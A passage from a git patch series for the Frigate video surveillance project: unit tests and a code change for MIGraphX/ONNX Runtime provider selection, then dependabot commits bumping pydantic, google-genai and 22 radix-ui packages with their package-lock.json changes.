return_value=session + ) as inference_session, + ): + runner = get_optimized_runner("/models/yolo.onnx", "AUTO", "yolo-generic") + + cache_dir = os.path.join(self.root.name, "migraphx/ort") + options.add_provider_for_devices.assert_called_once_with( + [device], {"cache_dir": cache_dir} + ) + inference_session.assert_called_once_with( + "/models/yolo.onnx", sess_options=options + ) + self.assertTrue(os.path.isdir(cache_dir)) + self.assertIsInstance(runner, ONNXModelRunner) + self.assertEqual( + loaded_devices["/models/yolo.onnx"], ("yolo-generic", "MIGraphX") + ) + + def test_a_model_migraphx_cannot_load_uses_the_default_providers(self): + session = MagicMock() + session.get_providers.return_value = ["CPUExecutionProvider"] + + with ( + patch.object( + detection_runners, + "get_migraphx_devices", + return_value=[self._device()], + ), + patch.object( + detection_runners, + "get_ort_providers", + return_value=(["CPUExecutionProvider"], [{}]), + ), + patch.object( + detection_runners, "is_openvino_gpu_npu_available", return_value=False + ), + patch.object( + detection_runners.ort, + "InferenceSession", + side_effect=[RuntimeError("compile failed"), session], + ) as inference_session, + patch.object( + detection_runners, "get_ort_session_options", return_value=MagicMock() + ), + self.assertLogs(detection_runners.logger, level="WARNING"), + ): + runner = get_optimized_runner("/models/arcface.onnx", "AUTO", "arcface") + + self.assertEqual(inference_session.call_count, 2) + self.assertIsInstance(runner, ONNXModelRunner) + self.assertEqual(loaded_devices["/models/arcface.onnx"], ("arcface", "CPU")) + + def test_unsupported_models_and_cpu_models_skip_migraphx(self): + for model_path, device, model_type in [ + ("/models/paddleocr.onnx", "AUTO", "paddleocr"), + ("/models/dfine.onnx", "AUTO", "dfine"), + ("/models/yolo.onnx", "CPU", "yolo-generic"), + ]: + session = MagicMock() + session.get_providers.return_value = ["CPUExecutionProvider"] + + with ( + self.subTest(model_type=model_type, device=device), + patch.object( + detection_runners, + "get_migraphx_devices", + return_value=[self._device()], + ) as migraphx, + patch.object( + detection_runners, + "get_ort_providers", + return_value=(["CPUExecutionProvider"], [{}]), + ), + patch.object( + detection_runners, + "is_openvino_gpu_npu_available", + return_value=False, + ), + patch.object( + detection_runners.ort, "InferenceSession", return_value=session + ), + patch.object( + detection_runners, "get_ort_session_options", return_value=None + ), + ): + get_optimized_runner(model_path, device, model_type) + + migraphx.assert_not_called() + self.assertEqual(loaded_devices[model_path], (model_type, "CPU")) + + def test_migraphx_is_never_requested_by_name(self): + with patch.object( + model_util.ort, + "get_available_providers", + return_value=[ + "AzureExecutionProvider", + "CPUExecutionProvider", + "MIGraphXExecutionProvider", + ], + ): + providers, options = model_util.get_ort_providers() + + self.assertEqual(providers, ["CPUExecutionProvider"]) + self.assertEqual(options, [{"enable_cpu_mem_arena": False}]) diff --git a/frigate/util/model.py b/frigate/util/model.py index 80f0d29a04..8d34d422a5 100644 --- a/frigate/util/model.py +++ b/frigate/util/model.py @@ -385,15 +385,9 @@ def get_ort_providers( } ) elif provider == "MIGraphXExecutionProvider": - migraphx_cache_dir = os.path.join(MODEL_CACHE_DIR, "migraphx") - os.makedirs(migraphx_cache_dir, exist_ok=True) - - providers.append(provider) - options.append( - { - "migraphx_model_cache_dir": migraphx_cache_dir, - } - ) + # MIGraphX is a plugin provider, which ONNX Runtime can't create by + # name, so get_optimized_runner selects it through its devices + continue elif provider == "CPUExecutionProvider": providers.append(provider) options.append( From ac77d06d83119ab0996772b3620ab5ce0a2cb9c6 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 18 Oct 2026 12:19:14 -0500 Subject: [PATCH 05/13] Bump the pydantic-genai group across 1 directory with 2 updates (#24700) Updates the requirements on [pydantic](https://github.com/pydantic/pydantic) and [google-genai](https://github.com/googleapis/python-genai) to permit the latest version. Updates `pydantic` to 2.14.1 - [Release notes](https://github.com/pydantic/pydantic/releases) - [Changelog](https://github.com/pydantic/pydantic/blob/main/HISTORY.md) - [Commits](https://github.com/pydantic/pydantic/compare/v2.13.0b1...v2.14.1) Updates `google-genai` to 2.31.0 - [Release notes](https://github.com/googleapis/python-genai/releases) - [Changelog](https://github.com/googleapis/python-genai/blob/main/CHANGELOG.md) - [Commits](https://github.com/googleapis/python-genai/compare/v2.29.0...v2.31.0) --- updated-dependencies: - dependency-name: google-genai dependency-version: 2.31.0 dependency-type: direct:production dependency-group: pydantic-genai - dependency-name: pydantic dependency-version: 2.14.1 dependency-type: direct:production dependency-group: pydantic-genai ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- docker/main/requirements-wheels.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docker/main/requirements-wheels.txt b/docker/main/requirements-wheels.txt index a9b658ed3d..9345cc1332 100644 --- a/docker/main/requirements-wheels.txt +++ b/docker/main/requirements-wheels.txt @@ -23,7 +23,7 @@ pandas == 3.0.* peewee == 4.5.* peewee_migrate == 2.3.* psutil == 7.2.* -pydantic == 2.13.* +pydantic == 2.14.* git+https://github.com/fbcotter/py3nvml#egg=py3nvml tzdata == 2026.5 pyzmq == 27.2.* @@ -47,7 +47,7 @@ onnxruntime == 1.30.* # Embeddings transformers == 5.19.* # Generative AI -google-genai == 2.29.* +google-genai == 2.31.* ollama == 0.6.* openai == 3.26.* # push notifications From ee2ae1a957c3c19556240b54520ee8631cbd0c9f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 18 Oct 2026 12:50:05 -0500 Subject: [PATCH 06/13] Bump the radix group in /web with 22 updates (#24702) * Bump the radix group in /web with 22 updates Bumps the radix group in /web with 22 updates: | Package | From | To | | --- | --- | --- | | [@radix-ui/react-alert-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/alert-dialog) | `1.1.24` | `1.2.1` | | [@radix-ui/react-aspect-ratio](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/aspect-ratio) | `1.1.16` | `1.2.0` | | [@radix-ui/react-checkbox](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/checkbox) | `1.3.12` | `1.4.1` | | [@radix-ui/react-collapsible](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/collapsible) | `1.1.21` | `1.2.1` | | [@radix-ui/react-context-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/context-menu) | `2.3.8` | `2.4.1` | | [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.2.0` | `1.3.1` | | [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.25` | `2.2.1` | | [@radix-ui/react-hover-card](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/hover-card) | `1.1.24` | `1.2.1` | | [@radix-ui/react-label](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/label) | `2.1.16` | `2.1.17` | | [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.2.0` | `1.3.1` | | [@radix-ui/react-progress](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/progress) | `1.1.17` | `1.2.1` | | [@radix-ui/react-radio-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/radio-group) | `1.4.8` | `1.5.1` | | [@radix-ui/react-scroll-area](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/scroll-area) | `1.3.0` | `1.4.0` | | [@radix-ui/react-select](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/select) | `2.3.8` | `2.4.1` | | [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.16` | `1.2.0` | | [@radix-ui/react-slider](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slider) | `1.5.0` | `1.6.1` | | [@radix-ui/react-slot](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slot) | `1.4.0` | `1.5.0` | | [@radix-ui/react-switch](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/switch) | `1.3.8` | `1.4.1` | | [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.22` | `1.2.1` | | [@radix-ui/react-toggle](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle) | `1.1.19` | `1.2.1` | | [@radix-ui/react-toggle-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle-group) | `1.1.20` | `1.2.1` | | [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.3.0` | `1.4.1` | Updates `@radix-ui/react-alert-dialog` from 1.1.24 to 1.2.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/alert-dialog/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/alert-dialog) Updates `@radix-ui/react-aspect-ratio` from 1.1.16 to 1.2.0 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/aspect-ratio/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/aspect-ratio) Updates `@radix-ui/react-checkbox` from 1.3.12 to 1.4.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/checkbox/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/checkbox) Updates `@radix-ui/react-collapsible` from 1.1.21 to 1.2.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/collapsible/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/collapsible) Updates `@radix-ui/react-context-menu` from 2.3.8 to 2.4.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/context-menu/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/context-menu) Updates `@radix-ui/react-dialog` from 1.2.0 to 1.3.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/dialog/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dialog) Updates `@radix-ui/react-dropdown-menu` from 2.1.25 to 2.2.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/dropdown-menu/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dropdown-menu) Updates `@radix-ui/react-hover-card` from 1.1.24 to 1.2.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/hover-card/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/hover-card) Updates `@radix-ui/react-label` from 2.1.16 to 2.1.17 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/label/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/label) Updates `@radix-ui/react-popover` from 1.2.0 to 1.3.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/popover/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/popover) Updates `@radix-ui/react-progress` from 1.1.17 to 1.2.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/progress/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/progress) Updates `@radix-ui/react-radio-group` from 1.4.8 to 1.5.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/radio-group/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/radio-group) Updates `@radix-ui/react-scroll-area` from 1.3.0 to 1.4.0 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/scroll-area/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/scroll-area) Updates `@radix-ui/react-select` from 2.3.8 to 2.4.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/select/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/select) Updates `@radix-ui/react-separator` from 1.1.16 to 1.2.0 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/separator/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/separator) Updates `@radix-ui/react-slider` from 1.5.0 to 1.6.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/slider/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/slider) Updates `@radix-ui/react-slot` from 1.4.0 to 1.5.0 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/slot/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/slot) Updates `@radix-ui/react-switch` from 1.3.8 to 1.4.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/switch/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/switch) Updates `@radix-ui/react-tabs` from 1.1.22 to 1.2.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/tabs/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tabs) Updates `@radix-ui/react-toggle` from 1.1.19 to 1.2.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/toggle/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle) Updates `@radix-ui/react-toggle-group` from 1.1.20 to 1.2.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/toggle-group/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle-group) Updates `@radix-ui/react-tooltip` from 1.3.0 to 1.4.1 - [Changelog](https://github.com/radix-ui/primitives/blob/main/packages/react/tooltip/CHANGELOG.md) - [Commits](https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tooltip) --- updated-dependencies: - dependency-name: "@radix-ui/react-alert-dialog" dependency-version: 1.2.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-aspect-ratio" dependency-version: 1.2.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-checkbox" dependency-version: 1.4.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-collapsible" dependency-version: 1.2.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-context-menu" dependency-version: 2.4.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-dialog" dependency-version: 1.3.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-dropdown-menu" dependency-version: 2.2.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-hover-card" dependency-version: 1.2.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-label" dependency-version: 2.1.17 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: radix - dependency-name: "@radix-ui/react-popover" dependency-version: 1.3.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-progress" dependency-version: 1.2.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-radio-group" dependency-version: 1.5.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-scroll-area" dependency-version: 1.4.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-select" dependency-version: 2.4.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-separator" dependency-version: 1.2.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-slider" dependency-version: 1.6.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-slot" dependency-version: 1.5.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-switch" dependency-version: 1.4.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-tabs" dependency-version: 1.2.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-toggle" dependency-version: 1.2.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-toggle-group" dependency-version: 1.2.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix - dependency-name: "@radix-ui/react-tooltip" dependency-version: 1.4.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: radix ... Signed-off-by: dependabot[bot] * fix radix bump type error and drop popper override Slider 1.6 types its root as a span, so the progress hover handlers now take HTMLElement. The react-popper 1.2.8 override pinned an older popper that nested its own copies of primitive, context and the use-* hooks; without it every radix package resolves to a single copy, and compose-refs stays on the patched 1.1.2 through its own override. --------- Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Josh Hawkins <32435876+hawkeye217@users.noreply.github.com> --- web/package-lock.json | 729 ++++++++---------- web/package.json | 45 +- .../components/preview/ScrubbablePreview.tsx | 4 +- 3 files changed, 328 insertions(+), 450 deletions(-) diff --git a/web/package-lock.json b/web/package-lock.json index f6fa60ad45..60ad056e41 100644 --- a/web/package-lock.json +++ b/web/package-lock.json @@ -11,28 +11,28 @@ "dependencies": { "@cycjimmy/jsmpeg-player": "^6.1.2", "@hookform/resolvers": "^5.9.1", - "@radix-ui/react-alert-dialog": "^1.1.24", - "@radix-ui/react-aspect-ratio": "^1.1.16", - "@radix-ui/react-checkbox": "^1.3.12", - "@radix-ui/react-collapsible": "^1.1.21", - "@radix-ui/react-context-menu": "^2.3.8", + "@radix-ui/react-alert-dialog": "^1.2.1", + "@radix-ui/react-aspect-ratio": "^1.2.0", + "@radix-ui/react-checkbox": "^1.4.1", + "@radix-ui/react-collapsible": "^1.2.1", + "@radix-ui/react-context-menu": "^2.4.1", "@radix-ui/react-dialog": "^1.2.0", - "@radix-ui/react-dropdown-menu": "^2.1.25", - "@radix-ui/react-hover-card": "^1.1.24", - "@radix-ui/react-label": "^2.1.16", - "@radix-ui/react-popover": "^1.2.0", - "@radix-ui/react-progress": "^1.1.17", - "@radix-ui/react-radio-group": "^1.4.8", - "@radix-ui/react-scroll-area": "^1.3.0", - "@radix-ui/react-select": "^2.3.8", - "@radix-ui/react-separator": "^1.1.16", - "@radix-ui/react-slider": "^1.5.0", - "@radix-ui/react-slot": "1.4.0", - "@radix-ui/react-switch": "^1.3.8", - "@radix-ui/react-tabs": "^1.1.22", - "@radix-ui/react-toggle": "^1.1.19", - "@radix-ui/react-toggle-group": "^1.1.20", - "@radix-ui/react-tooltip": "^1.3.0", + "@radix-ui/react-dropdown-menu": "^2.2.1", + "@radix-ui/react-hover-card": "^1.2.1", + "@radix-ui/react-label": "^2.1.17", + "@radix-ui/react-popover": "^1.3.1", + "@radix-ui/react-progress": "^1.2.1", + "@radix-ui/react-radio-group": "^1.5.1", + "@radix-ui/react-scroll-area": "^1.4.0", + "@radix-ui/react-select": "^2.4.1", + "@radix-ui/react-separator": "^1.2.0", + "@radix-ui/react-slider": "^1.6.1", + "@radix-ui/react-slot": "1.5.0", + "@radix-ui/react-switch": "^1.4.1", + "@radix-ui/react-tabs": "^1.2.1", + "@radix-ui/react-toggle": "^1.2.1", + "@radix-ui/react-toggle-group": "^1.2.1", + "@radix-ui/react-tooltip": "^1.4.1", "@rjsf/core": "^6.10.1", "@rjsf/shadcn": "^6.10.1", "@rjsf/utils": "^6.10.1", @@ -1729,22 +1729,22 @@ "license": "MIT" }, "node_modules/@radix-ui/primitive": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.7.tgz", - "integrity": "sha512-rqWnm76nYT8HoNNqEjpgJ7Pw/DrBj5iBTrmEPo6HTX5+VJyBNOqTdv4g89G63HuR5g0AaENoAcH7Is5fF2kZ8Q==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.2.0.tgz", + "integrity": "sha512-KABY+VMIRPJL+Vyzv/335FEhXXD/xDv8BMb1kl48/aXJZMH0LtHCTx5ga5RnxaEP3nZHtmTLf1P9vanmFX46bw==", "license": "MIT" }, "node_modules/@radix-ui/react-alert-dialog": { - "version": "1.1.24", - "resolved": "https://registry.npmjs.org/@radix-ui/react-alert-dialog/-/react-alert-dialog-1.1.24.tgz", - "integrity": "sha512-dRvB59HhcjIWcCPKzK5Px1yQ8pIULQQrxqgyepCqin7tNXi/xvmC86WkyMOKhuCbjz3+v9Q6oE7/tUN5NQ9dCg==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-alert-dialog/-/react-alert-dialog-1.2.1.tgz", + "integrity": "sha512-MWC4N7RY+qsbNrFNo7yQ9ZbdoZEW+B5DtpWxJfUnVCqcQxxqqg3qis3RMPTDbCNaTIdHJSn5XDkl9ZdVWXknLg==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-dialog": "1.2.0", - "@radix-ui/react-primitive": "2.1.11" + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-dialog": "1.3.1", + "@radix-ui/react-primitive": "2.2.0" }, "peerDependencies": { "@types/react": "*", @@ -1762,35 +1762,12 @@ } }, "node_modules/@radix-ui/react-arrow": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.7.tgz", - "integrity": "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==", + "version": "1.1.17", + "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.17.tgz", + "integrity": "sha512-67jjcVvxjXCCStnTW3Z+M7jmaFMuMR7M2JgpDzH4w7JSRrikmzhjfYgP/09ECb8n7whnsgh1ifJ+Ie96qEj+pQ==", "license": "MIT", "dependencies": { - "@radix-ui/react-primitive": "2.1.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-arrow/node_modules/@radix-ui/react-primitive": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", - "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.3" + "@radix-ui/react-primitive": "2.2.0" }, "peerDependencies": { "@types/react": "*", @@ -1808,12 +1785,12 @@ } }, "node_modules/@radix-ui/react-aspect-ratio": { - "version": "1.1.16", - "resolved": "https://registry.npmjs.org/@radix-ui/react-aspect-ratio/-/react-aspect-ratio-1.1.16.tgz", - "integrity": "sha512-w2u6oiTzb7WkWwV3ZClX/llYYlTbilUOkHIKkwb+PWWytQ/IdEVRNLIChjbcXy/mkqcKKM3wEhrOilJW+uPHDg==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-aspect-ratio/-/react-aspect-ratio-1.2.0.tgz", + "integrity": "sha512-gHEU+Lx8DlT/FYIjZQvvBJrFSwUngXTjh7FeL9QvJaNALDLez6pgDj2axCUihBjtPBy82LN0gNb25+sTcSXNmA==", "license": "MIT", "dependencies": { - "@radix-ui/react-primitive": "2.1.11" + "@radix-ui/react-primitive": "2.2.0" }, "peerDependencies": { "@types/react": "*", @@ -1831,17 +1808,17 @@ } }, "node_modules/@radix-ui/react-checkbox": { - "version": "1.3.12", - "resolved": "https://registry.npmjs.org/@radix-ui/react-checkbox/-/react-checkbox-1.3.12.tgz", - "integrity": "sha512-gNOS2lLrpQxNLWHhCX0sayfVRiyB5gQp7nQIzpl+PM1Hkab52utsKtD27alAr78uqhpvX51kwqDp71hM5hNSwg==", + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-checkbox/-/react-checkbox-1.4.1.tgz", + "integrity": "sha512-KWtwhh+98ML3seZ9vO9yRY2OwaQG90dCiDAxjpSNY2AaZ3Hik3B0dsk6m0ILywo/no3A9/SozadyPMNweVT8yw==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", + "@radix-ui/react-context": "1.3.0", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-size": "1.1.5" }, "peerDependencies": { @@ -1860,18 +1837,18 @@ } }, "node_modules/@radix-ui/react-collapsible": { - "version": "1.1.21", - "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.21.tgz", - "integrity": "sha512-IzkusZHCZBnED5skW+b+syl8d+e3+zelvxZ2Ed9lfawqEBfa5osPj53sTJ+q/uNmGAj9e7wMYgyzwPu/luWJ4Q==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.2.1.tgz", + "integrity": "sha512-fSzLb/qy1wuZSxQBcxpW0hNXYHDMWiIXDGyJGdA4+FSLknOWZsNRrTCUavxb4PI8b8lvHo/CysO6NVi5zLpo5g==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", + "@radix-ui/react-context": "1.3.0", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { @@ -1890,15 +1867,16 @@ } }, "node_modules/@radix-ui/react-collection": { - "version": "1.1.16", - "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.16.tgz", - "integrity": "sha512-yEQrjfI5eBbeYEJXOASpm+gs9eNHY8+UjkZ81GzcuwdLrSMOlEM8jnGoGdeGo92oiBMkuwZUhHTsnsrDiJLcyA==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.2.0.tgz", + "integrity": "sha512-+yiQzqcc7Sy7/5s0jrMCjpPRFB3538VNrXPWdTLZhE/SCfgEws4aI6lHWN/vvcnyhHndROWBzqmqB4QBrITZ9Q==", "license": "MIT", "dependencies": { "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-slot": "1.4.0" + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-slot": "1.5.0", + "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", @@ -1931,9 +1909,9 @@ } }, "node_modules/@radix-ui/react-context": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.2.2.tgz", - "integrity": "sha512-RHCUGwKHDr0hDGg4X7ma4JG4/+12qxw8rkh5QKdDldlCvtja6nUx1Ef/8HVrJze81lEsgLQlqjzjGNHantgnQA==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.3.0.tgz", + "integrity": "sha512-v5AYEocMISkbJ+1fTXzZpiFv7NRr3D2WiYbLIKf+FkmJ8VkP6d503eV2n34MFussHXY1pcoq3yfJiQH77dc4Mg==", "license": "MIT", "peerDependencies": { "@types/react": "*", @@ -1946,16 +1924,16 @@ } }, "node_modules/@radix-ui/react-context-menu": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-context-menu/-/react-context-menu-2.3.8.tgz", - "integrity": "sha512-s8ABBkEuAOyhDub0Y99f8lVRlVsd28mUnOHtuqGg8LuHnefkmPN5rYzA2g8MAPLjAZMisnDHhN4dBHUM7ZF7Rg==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context-menu/-/react-context-menu-2.4.1.tgz", + "integrity": "sha512-Pddn3Z8lio3/ChxyXaEP3jHTTo1LTHCWwF8+mG1chQlWijP+ttVHBKwezrQTiV6Mj670ojvumqvuGh+mdv33iQ==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-menu": "2.1.25", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-controllable-state": "1.2.6" + "@radix-ui/primitive": "1.2.0", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-menu": "2.2.1", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-controllable-state": "1.3.0" }, "peerDependencies": { "@types/react": "*", @@ -1973,23 +1951,23 @@ } 